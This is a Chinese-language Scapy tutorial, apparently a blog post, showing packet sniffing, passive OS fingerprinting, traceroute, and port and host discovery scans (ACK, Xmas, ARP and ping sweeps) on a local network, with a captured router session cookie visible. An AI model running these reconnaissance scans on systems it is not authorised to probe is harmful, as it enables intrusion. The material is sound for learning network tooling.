RadioTap / 802.11 Data Data 96:e9:99:f5:61:36 (TA=BSSID) > 01:00:5e:7f:ff:fa (RA=DA) / Dot11CCMP
RadioTap / 802.11 Data Data 96:e9:99:f5:61:36 (TA=BSSID) > 01:00:5e:7f:ff:fa (RA=DA) / Dot11CCMP
RadioTap / 802.11 Management Beacon 06:69:6c:54:f0:54 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Data Data 96:e9:99:f5:61:36 (TA=BSSID) > 01:00:5e:7f:ff:fa (RA=DA) / Dot11CCMP
RadioTap / 802.11 Management Beacon 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='Redmi K70' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltRates / Dot11EltRSN / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVHTOperation / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11Elt / Dot11Elt / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 06:69:6c:54:f0:54 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
^C<Sniffed: TCP:0 UDP:0 ICMP:0 Other:24>
>>> sniff(iface ="eth0",prn = lambda x:x.show())
###[ 802.3 ]###
  dst       = 01:80:c2:00:00:00
  src       = 44:59:e3:5c:80:9f
  len       = 38
###[ LLC ]###
     dsap      = 0x42
     ssap      = 0x42
     ctrl      = 3
###[ Spanning Tree Protocol ]###
        proto     = 0
        version   = 0
        bpdutype  = 0
        bpduflags = 0
        rootid    = 32768
        rootmac   = 44:59:e3:5c:80:9f
        pathcost  = 0
        bridgeid  = 32768
        bridgemac = 44:59:e3:5c:80:9f
        portid    = 32774
        age       = 0.0
        maxage    = 20.0
        hellotime = 2.0
        fwddelay  = 2.0
###[ Padding ]###
           load      = b'\x00\x00\x00\x00    '

###[ 802.3 ]###
  dst       = 01:80:c2:00:00:00
  src       = 44:59:e3:5c:80:9f
  len       = 38
###[ LLC ]###
     dsap      = 0x42
     ssap      = 0x42
     ctrl      = 3
###[ Spanning Tree Protocol ]###
        proto     = 0
        version   = 0
        bpdutype  = 0
        bpduflags = 0
        rootid    = 32768
        rootmac   = 44:59:e3:5c:80:9f
        pathcost  = 0
        bridgeid  = 32768
        bridgemac = 44:59:e3:5c:80:9f
        portid    = 32774
        age       = 0.0
        maxage    = 20.0
        hellotime = 2.0
        fwddelay  = 2.0
###[ Padding ]###
           load      = b'\x00\x00\x00\x00    '

^C<Sniffed: TCP:0 UDP:0 ICMP:0 Other:2>

>>> sniff(iface =["wlan0mon","eth0"],prn = lambda x:x.sniffed_on+": "+x.summary())
wlan0mon: RadioTap / 802.11 Management Probe Response 44:59:e3:5c:80:a0 (TA=SA) > 4c:d5:77:09:4a:ed (RA=DA) / Dot11ProbeResp / SSID='HUAWEI' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltERP / Dot11EltRSN / Dot11EltVendorSpecific / Dot11EltRates / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11EltOBSS / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
wlan0mon: RadioTap / 802.11 Management Probe Response 44:59:e3:5c:80:a0 (TA=SA) > 4c:d5:77:09:4a:ed (RA=DA) / Dot11ProbeResp / SSID='HUAWEI' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltERP / Dot11EltRSN / Dot11EltVendorSpecific / Dot11EltRates / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11EltOBSS / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific

为了更好地控制显示信息,我们可以使用 **sprintf()**功能:

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.8.106 -> 192.168.8.1
192.168.8.1 -> 192.168.8.106
192.168.8.106 -> 192.168.8.1
192.168.8.106 -> 192.168.8.1
b'GET /api/user/state-login HTTP/1.1\r\nHost: 192.168.8.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n_ResponseSource: Broswer\r\nX-Requested-With: XMLHttpRequest\r\nConnection: keep-alive\r\nReferer: http://192.168.8.1/html/index.html\r\nCookie: SessionID=0a2HzijpU6A04OR0jibh08FHY8MiNMuYfMuTBnwisYD7980Ns72nshhe9V02sffvBZgQBVvKZjXlZG2FoedwjYPrOlO68PQoJ79HGclyN47yciOkcZrae8KFT0l5uNv7\r\n\r\n'

我们可以嗅探并做被动操作系统指纹:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

操作系统猜测前的数字是猜测的准确性。

高级嗅探-嗅探会话

sniff()还提供会议,允许无缝分割数据包流。例如,你可能需要sniff(prn=…..)函数自动对ip数据包进行碎片整理,然后执行prn。

‘scapy包括一些基本地会话,但他可以实现你自己地会话。默认可用:

IPSession–> 动态整理ip数据包,是数据流可以供prn使用。

TCPSession–>对某些TCP协议进行碎片整理,目前支持:HTTP1.0 、TLS 、Kerberos/DCERPC

TLSSession–> 匹配TSL会话在流动中。

NetflowSession–>解析NetFlow V9数据包从其netflowset信息对象

这些会话可以使用session=参数 sniff()。实例:

sniff(session=IPSession, iface="eth0")
sniff(session=TCPSession, prn=lambda x: x.summary(), store=False)
sniff(offline="file.pcap", session=NetflowSession)

如果需要,可以使用:class TLS_over_TCP(TLSSession, TCPSession): pass 嗅探经过碎片整理地TLS数据包。

如何使用TCPSession对TPC数据包进行碎片整理

应用解压缩的层必须紧随TCP层之后。您需要实现一个名为tcp_ressembly的类函数,该函数接受二进制数据、元数据字典作为参数,并在数据包已满时返回数据包。让我们研究一下TLS的(伪)示例:

class TLS(Packet):
    [...]

    @classmethod
    def tcp_reassemble(cls, data, metadata, session):
        length = struct.unpack("!H", data[3:5])[0] + 5
        if len(data) == length:
            return TLS(data

在这个例子中,我们首先得到由TSL报头公布地TSL有效载荷总长度,并将其于数据的长度进行比较。当数据达到这个长度时,数据包就完成了,可以返回。实施 tcp_reassemble,这通常是一个检测包何时没有丢失任何其他内容的问题。

这个data参数是一个字节,并且metadata参数是一个字典,其关键字如下:

metadata["pay_class"] :TCP负载类(这里是TLS)

metadata.get("tcp_psh", False) :如果设置了推标志,将出现

metadata.get("tcp_end", False) :将在设置结束或重置标志时出现

过滤器

BPF过滤器和sprintf()方法的演示:

>>> a=sniff(filter="tcp and ( port 80 or port 443 )",
...:  prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload
...: %"))

192.168.8.106:59632 -> 192.168.8.1:http   A : 
192.168.8.106:59632 -> 192.168.8.1:http  PA : HTTP / b'GET' b'/js/public.js?r=0.618767652064&_=00555892865' b'HTTP/1.1'
192.168.8.106:59644 -> 192.168.8.1:http   S : 
192.168.8.106:59656 -> 192.168.8.1:http   S : 
192.168.8.1:http -> 192.168.8.106:59632   A : Padding
192.168.8.1:http -> 192.168.8.106:59644  SA : 
192.168.8.106:59644 -> 192.168.8.1:http   A : 
192.168.8.106:59644 -> 192.168.8.1:http  PA : HTTP / b'GET' b'/js/redirect.js?r=0.618767652064&_=00555892865' b'HTTP/1.1'
192.168.8.106:59664 -> 192.168.8.1:http   S : 
192.168.8.1:http -> 192.168.8.106:59656  SA : 
192.168.8.106:59656 -> 192.168.8.1:http   A : 
192.168.8.1:http -> 192.168.8.106:59644   A : Padding
192.168.8.106:59656 -> 192.168.8.1:http  PA : HTTP / b'GET' b'/js/index.js?r=0.618767652064&_=00555892865' b'HTTP/1.1'
192.168.8.1:http -> 192.168.8.106:59664  SA : 
192.168.8.106:59664 -> 192.168.8.1:http   A : 
192.168.8.106:59664 -> 192.168.8.1:http  PA : HTTP / b'GET' b'/js/guide.js?r=0.618767652064&_=00555892865' b'HTTP/1.1'
192.168.8.1:http -> 192.168.8.106:59632  PA : HTTP / b'HTTP/1.1' b'200' b'OK'
192.168.8.1:http -> 192.168.8.106:59632   A : HTTP / Raw
192.168.8.1:http -> 192.168.8.106:59644  PA : HTTP / b'HTTP/1.1' b'200' b'OK'
192.168.8.1:http -> 192.168.8.106:59644  PA : HTTP / Raw

循环发送和接收

下面是一个类似(h)ping的功能示例:你总是发送相同的数据包集,一查看是否发生了变化:

>>> srloop(IP(dst="www.baidu.com/30")/TCP())
RECV 4: IP / TCP 183.240.98.197:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.196:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.199:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.198:http > 192.168.8.106:ftp_data SA / Padding
RECV 4: IP / TCP 183.240.98.196:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.197:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.198:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.199:http > 192.168.8.106:ftp_data SA / Padding
RECV 4: IP / TCP 183.240.98.197:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.196:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.198:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.199:http > 192.168.8.106:ftp_data SA / Padding
RECV 4: IP / TCP 183.240.98.196:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.197:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.198:http > 192.168.8.106:ftp_data SA / Padding
        IP / TCP 183.240.98.199:http > 192.168.8.106:ftp_data SA / Padding

数据的输入和输出

PCAP

将捕获数据包保存到PCAP文件中以便以后使用或用于不用的应用程序通常很有用:

wrpcap("temp.cap",pkts)

要恢复以前保存的PCAP文件:

ptks = rdpcap("temp.cap")

或:

pkts = sniff(offline ="temp.cap")

六栈

scapy允许你以各种十六进制格式导出记录的数据包。

使用 hexdump()要使用hexdump格式显示一个或多个数据包,请执行一下操作:

>>> p[1]
<Ether  dst=44:59:e3:5c:80:9f src=90:2e:16:d4:93:43 type=IPv4 |<IP  version=4 ihl=5 tos=0x0 len=79 id=43876 flags=DF frag=0 ttl=128 proto=tcp chksum=0xa228 src=192.168.8.105 dst=223.5.5.5 |<TCP  sport=52991 dport=https seq=2693157602 ack=4094380085 dataofs=5 reserved=0 flags=PA window=511 chksum=0x95bd urgptr=0 |<Raw  load=b'\x17\x03\x03\x00"\xe0\xe9O\x15b\xbaE)8Xr\xfa+\xd5\x08&\xd7\x07\xe7\xc5\xde3\x01*\x1cMK\xc85\xc2\xff\xb6rC' |>>>>                                                                                           
>>> hexdump(p[1])
0000  44 59 E3 5C 80 9F 90 2E 16 D4 93 43 08 00 45 00  DY.\.......C..E.
0010  00 4F AB 64 40 00 80 06 A2 28 C0 A8 08 69 DF 05  .O.d@....(...i..
0020  05 05 CE FF 01 BB A0 86 52 E2 F4 0B 48 35 50 18  ........R...H5P.
0030  01 FF 95 BD 00 00 17 03 03 00 22 E0 E9 4F 15 62  .........."..O.b
0040  BA 45 29 38 58 72 FA 2B D5 08 26 D7 07 E7 C5 DE  .E)8Xr.+..&.....
0050  33 01 2A 1C 4D 4B C8 35 C2 FF B6 72 43           3.*.MK.5...rC

上面的hexdump'可以重新导入到scapy中,使用import_hexcap()::

二进制串

还可以使用raw()功能:

>>> pkts = sniff(count =1)
>>> pkts[0]
<Dot3  dst=01:80:c2:00:00:00 src=44:59:e3:5c:80:9f len=38 |<LLC  dsap=0x42 ssap=0x42 ctrl=3 |<STP  proto=0 version=0 bpdutype=0 bpduflags=0 rootid=32768 rootmac=44:59:e3:5c:80:9f pathcost=0 bridgeid=32768 bridgemac=44:59:e3:5c:80:9f portid=32777 age=0.0 maxage=20.0 hellotime=2.0 fwddelay=2.0 |<Padding  load=b'\x00\x00\x00\x00    ' |>>>>                                                                            
>>> pkt_raw = raw(pkts[0])
>>> pkt_raw
b'\x01\x80\xc2\x00\x00\x00DY\xe3\\\x80\x9f\x00&BB\x03\x00\x00\x00\x00\x00\x80\x00DY\xe3\\\x80\x9f\x00\x00\x00\x00\x80\x00DY\xe3\\\x80\x9f\x80\t\x00\x00\x14\x00\x02\x00\x02\x00\x00\x00\x00\x00    '

Base64

使用export_object()函数,scapy可以导出表示数据包的base64编码的python数据结构:

>>> pkts[0]
<Dot3  dst=01:80:c2:00:00:00 src=44:59:e3:5c:80:9f len=38 |<LLC  dsap=0x42 ssap=0x42 ctrl=3 |<STP  proto=0 version=0 bpdutype=0 bpduflags=0 rootid=32768 rootmac=44:59:e3:5c:80:9f pathcost=0 bridgeid=32768 bridgemac=44:59:e3:5c:80:9f portid=32777 age=0.0 maxage=20.0 hellotime=2.0 fwddelay=2.0 |<Padding  load=b'\x00\x00\x00\x00    ' |>>>>                                                                                      
>>> export_object(pkts[0])
b'eNp1U9lu00AUNW1pqQuUpUDZ9xK2YDvO4mF1FkpoYkdOAoNEFdnjMbFwkt7Y6fJQKSAVwVcgwRMfwA+Er+BvGE8DQqiMJc+dc889PuO5M5wgIbHXtpKBvUX7YTJQxGIvSokgkBbpuZSEIu3GgQj78HNBEPaNhj/es7n46sfX16Ph6LOwlM9PCvEYDf9C/1mPhrOCsCBMsCcel9iACTzNwsCO/K4Mkx9gyoL9OzBtwUxiWf/5/cvOt41Zwxj787sR7Xs2oaFo0Gij139b/o2IcODmO5jdBjGBDzDFtX5v3XdpH+bGtXaftJOB3x1sipX4/aeyNmaKcJApHMJTrLprdygc5iGN2hLM4zkWujQkfX8t8ntdONKexwdj5q6PFq84ysD9DPS7Lt2EYysTON6pvwbH8SEWyJqSlDO5ZC4pSxlYwJM8GcIJQnpBQEksHIou9exBELk+iUQ4SVotZ+AH7Pe0WmLghww7tQOLFpxOrEyvwpkEvs5UFFWykaoQBaUkSULZjIYUiSBF8zzk0ZyM3JTswFl8dW+uqqY1RFNpgnKS5qEUnMM3GNNzVRWlNZpCaZKTkOYxukYyWaQoDkEZTfaQnXZUOI+X/sPew8SF/xmWHdlGuaycQQ7NIjVlp+EiXoyFKZPbS+oSXZlahcvtBXvA/2XHJnAFH2URk+R0xKlMGq7yg3EHnc4WXPvEF15gvwnh+rg/PJ8Gbig+ZeALOxiwhlpi7XDD2IZEgtPXYxRuVgtH+DI+8BBurcLtBD/lZg3uYNbfQt4y9WJBrzfgLicWS/nmMiR5V1ZMs5bXCytwjzdPzSwbjYbJJ5CwyCDDbFh6uVKy6iDjGQZYTcMoG8ugcDHD1K0apHimZpnVcr0Aalvm4nqlUm1WGmVI8ztVZRZKFmR4Xb2ivyhBlhvkJG4wt6tjWo16qQIaz+rNhlktFcs6IJ4tvjL0arkA98cbeFmyWmyvD3aTplXVmfeH/KqUCs9MeET5BzushX14/HHwAZ44A8cwItCd5C8e+C6J'

上面的输出可以重新导入到scapy中使用import_object::

>>>new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>>new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

任务

最后scapy能够使用save_sessions()的功能:

>>>dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']
>>>save_session("session.scapy"

下次启动scapy时,可以使用load_sessions()命令:

>>>dir()
['__builtins__', 'conf']
>>>load_session("session.scapy")
>>>dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']

制作桌子

现在我们来演示一下make_table()演示功能。它接收一个列表作为参数,以及一个返回3-uple的函数。第一个元素是列表元素的x轴上的值,第二个元素是关于y值的,第三个元素是我们想要在坐标(x,y)上看到的值,结果是一张表格。此功能有两种变体,make_lined_atable() 和make_tex_table()复制/粘贴到你的Latex报告中。这些函数作为结果对象的方法提供:

这里我们可以看到一个多并行的traceroute(scapy已经有了一个多TCP traceroute函数)。见下文:

>>> ans,unans = sr(IP(dst ="www.jd.com/30",ttl =(1,8))/TCP())
Begin emission:
Finished sending 32 packets.
.****....*...*..................................^C
Received 48 packets, got 6 answers, remaining 26 packets
>>> ans.make_table( lambda s,r:(s.dst,s.ttl,r.src))
  120.226.8.192   120.226.8.193 120.226.8.194  120.226.8.195 
1 192.168.8.1     192.168.8.1   192.168.8.1    192.168.8.1   
2 183.214.135.102 -             183.214.135.38 - 

路由

现在,sacpy有自己的路由表,这样你就可以以不同系统的方式路由数据包:

>>>conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0
>>>conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>>conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>>conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>>conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.254   eth0
192.168.1.1     255.255.255.255 192.168.8.1     eth0
>>>conf.route.resync()
>>>conf.route
Network         Netmask         Gateway         Iface
127.0.0.0       255.0.0.0       0.0.0.0         lo
192.168.8.0     255.255.255.0   0.0.0.0         eth0
0.0.0.0         0.0.0.0         192.168.8.1     eth0

TCP路由跟踪(2)

scapy还具有强大的TCP跟踪路由功能。以其他跟踪路由不同的是,scapy在进入下一个节点之前等待每个节点的响应,它同时发送所有数据包。这有一个缺点,即它不知道何时停止(因此是maxttl参数),但他最大的优点是,它不到3秒就得到了这多个目标路由跟踪的结果:

>>> traceroute(["www.baidu.com","www.jd.com","www.kali.org","www.osgeo.cn"],maxttl =20)
Begin emission:
Finished sending 80 packets.
***.*....**.*.*********.**.....**.*****.*****.
Received 46 packets, got 30 answers, remaining 50 packets
   104.18.5.159:tcp80 120.226.8.193:tcp80 120.27.14.127:tcp80 183.240.98.161:tcp80 
1  192.168.8.1     11 192.168.8.1     11  192.168.8.1     11  192.168.8.1     11   
9  -                  36.158.200.206  11  -                   -                    
12 223.120.13.201  11 -                   -                   -                    
13 223.120.6.54    11 120.226.8.193   SA  -                   -                    
14 -                  120.226.8.193   SA  -                   -                    
15 -                  -                   -                   183.240.98.161  SA   
16 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
17 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
18 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
19 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
20 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
(<Traceroute: TCP:23 UDP:0 ICMP:7 Other:0>,
 <Unanswered: TCP:50 UDP:0 ICMP:0 Other:0>)

最后一行实际上是函数的结果:一个traceroute结果对象和一个未应答数据包的数据包列表。traceroute结果是一个更专业的经典结果对象版本(实际上是一个子类)。我们可以保存它以便稍后再次查询traceroute结果,或者深入检查其中一个答案,例如检查填充。

>>> result,unans = _
>>> result.show()
   104.18.5.159:tcp80 120.226.8.193:tcp80 120.27.14.127:tcp80 183.240.98.161:tcp80 
1  192.168.8.1     11 192.168.8.1     11  192.168.8.1     11  192.168.8.1     11   
9  -                  36.158.200.206  11  -                   -                    
12 223.120.13.201  11 -                   -                   -                    
13 223.120.6.54    11 120.226.8.193   SA  -                   -                    
14 -                  120.226.8.193   SA  -                   -                    
15 -                  -                   -                   183.240.98.161  SA   
16 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
17 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
18 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
19 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   
20 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   

与任何结果对象一样,可以添加traceroute对象:

>>> r2,unans = traceroute(["www.hut.edu.cn"],maxttl=20)
Begin emission:
Finished sending 20 packets.
*...********.
Received 13 packets, got 9 answers, remaining 11 packets
   218.75.197.116:tcp80 
1  192.168.8.1     11   
13 218.75.197.116  11   
14 218.75.197.116  SA   
15 218.75.197.116  SA   
16 218.75.197.116  SA   
17 218.75.197.116  SA   
18 218.75.197.116  SA   
19 218.75.197.116  SA   
20 218.75.197.116  SA   
>>> r3 = r2 + result
>>> r3.show()
   104.18.5.159:tcp80 120.226.8.193:tcp80 120.27.14.127:tcp80 183.240.98.161:tcp80 218.75.197.116:tcp80 
1  192.168.8.1     11 192.168.8.1     11  192.168.8.1     11  192.168.8.1     11   192.168.8.1     11   
9  -                  36.158.200.206  11  -                   -                    -                    
12 223.120.13.201  11 -                   -                   -                    -                    
13 223.120.6.54    11 120.226.8.193   SA  -                   -                    218.75.197.116  11   
14 -                  120.226.8.193   SA  -                   -                    218.75.197.116  SA   
15 -                  -                   -                   183.240.98.161  SA   218.75.197.116  SA   
16 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   218.75.197.116  SA   
17 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   218.75.197.116  SA   
18 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   218.75.197.116  SA   
19 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   218.75.197.116  SA   
20 104.18.5.159    SA 120.226.8.193   SA  120.27.14.127   SA  183.240.98.161  SA   218.75.197.116  SA

traceroute结果对象也有一个非常简洁的特性:它们可以从所有得到的路由中生成一个有向图,并通过as(自治系统)对其进行集群。

>>> res.graph()
/usr/lib/python3.11/subprocess.py:1127: ResourceWarning: subprocess 129665 is still running
  _warn("subprocess %s is still running" % self.pid,
ResourceWarning: Enable tracemalloc to get the object allocation traceback

主动信息收集——scapy插图3

简单一行程序

ACK扫描

使用scapy强大的数据包制作工具,我们可以快速复制经典的TCP扫描。例如,将发送一下字符串来模拟ACK扫描:

>>> ans , unans = sr(IP(dst = "192.168.8.1")/TCP(dport =[80,666],flags ="A"))
Begin emission:
Finished sending 2 packets.
.**
Received 3 packets, got 2 answers, remaining 0 packets

我们可以在应答数据包中找到未过滤的端口:

>>> for s,r in ans:
...:     if s[TCP].dport == r[TCP].sport:
...:         print("%d is unfiltered" %s[TCP].dport)
...: 
80 is unfiltered
666 is unfiltered

类似的,可以使用未应答的数据包找到筛选的端口:

>>> for s in unans:
...:     print("%d is filtered" % s[TCP].dport)
...: 
>>> 

X射线扫描

可以使用以下命令启动xmas扫描:

>>> ans,unans = sr(IP(dst = "192.168.8.1")/TCP(dport = 666,flags = "FPU"))
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> ans.show()
0000 IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:666 FPU ==> IP / TCP 192.168.8.1:666 > 192.168.8.106:ftp_data RA / Padding

检查RST响应将显示目标上的关闭端口。

IP扫描

较低级别的IP扫描可以用于枚举支持的协议:

>>> ans,unans = sr(IP(dst = "192.168.8.1",proto=(0,255))/"SCAPY",retry =2)

ARP Ping

在本地以太网上发现主机最快方法是arp ping方法:

>>> ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = "192.168.8.0/24"),timeout =2 )
Begin emission:
Finished sending 256 packets.
**......................
Received 24 packets, got 2 answers, remaining 254 packets

可以使用一下命令查看答案:

>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
44:59:e3:5c:80:9f 192.168.8.1
90:2e:16:d4:93:43 192.168.8.115

scapy还包括一个内置的arping()函数,它执行类似于上述两个命令的操作:

>>> arping("192.168.8.0/24")
Begin emission:
Finished sending 256 packets.
***
Received 3 packets, got 3 answers, remaining 253 packets
  44:59:e3:5c:80:9f unknown 192.168.8.1
  90:2e:16:d4:93:43 unknown 192.168.8.115
  0a:fb:df:f8:43:79 unknown 192.168.8.103
(<ARPing: TCP:0 UDP:0 ICMP:0 Other:3>,
 <Unanswered: TCP:0 UDP:0 ICMP:0 Other:253>)

ICMP Ping

可以使用一下命令模拟经典的ICMP ping:

>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)

可以通过一下请求收集有关时事主机的信息

>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )

TCP Ping

在阻止ICMP回显请求的情况下,我们任然可以使用各种TCP Ping,如下面的TCP SYN Ping:

>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )

对于探针的任何响应都将指示活动主机。我们可以使用以下命令收集结果:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

UDP Ping♥

如果所有其他失败,则始终存在udp ping,这将从活动主机产生无法访问的ICMP端口错误。在这里你可以选择最可能关闭的任何端口,例如端口0:

DNS请求

IPv4(A)请求:

这将执行查找IPv4地址的DNS请求:

>>> ans = sr1(IP(dst ="8.8.8.8")/UDP(sport = RandShort(),dport=53)/DNS(rd=1,qd=DNSQR(qname ="baidu.com",qtype ="A")))
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> ans.an[0].rdata
'39.156.66.10'

SOA请求:

>>> ans = sr1(IP(dst ="8.8.8.8")/UDP(sport = RandShort(),dport=53)/DNS(rd=1,qd=DNSQR(qname ="baidu.com",qtype ="SOA")))
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> ans.an[0].mname
b'dns.baidu.com.'
>>> ans.an[0].rname
b'sa.baidu.com.'

MX请求:

>>> ans = sr1(IP(dst ="8.8.8.8")/UDP(sport = RandShort(),dport=53)/DNS(rd=1,qd=DNSQR(qname ="baidu.com",qtype ="MX")))
Begin emission:
Finished sending 1 packets.
....*
Received 5 packets, got 1 answers, remaining 0 packets
>>> result = [x.exchange for x in ans.an]
>>> result
[b'usmx01.baidu.com.',
 b'mx.n.shifen.com.',
 b'mx1.baidu.com.',
 b'jpmx.baidu.com.',
 b'mx50.baidu.com.',
 b'mx.maillb.baidu.com.']

经典攻击♥

格式错误的数据包:

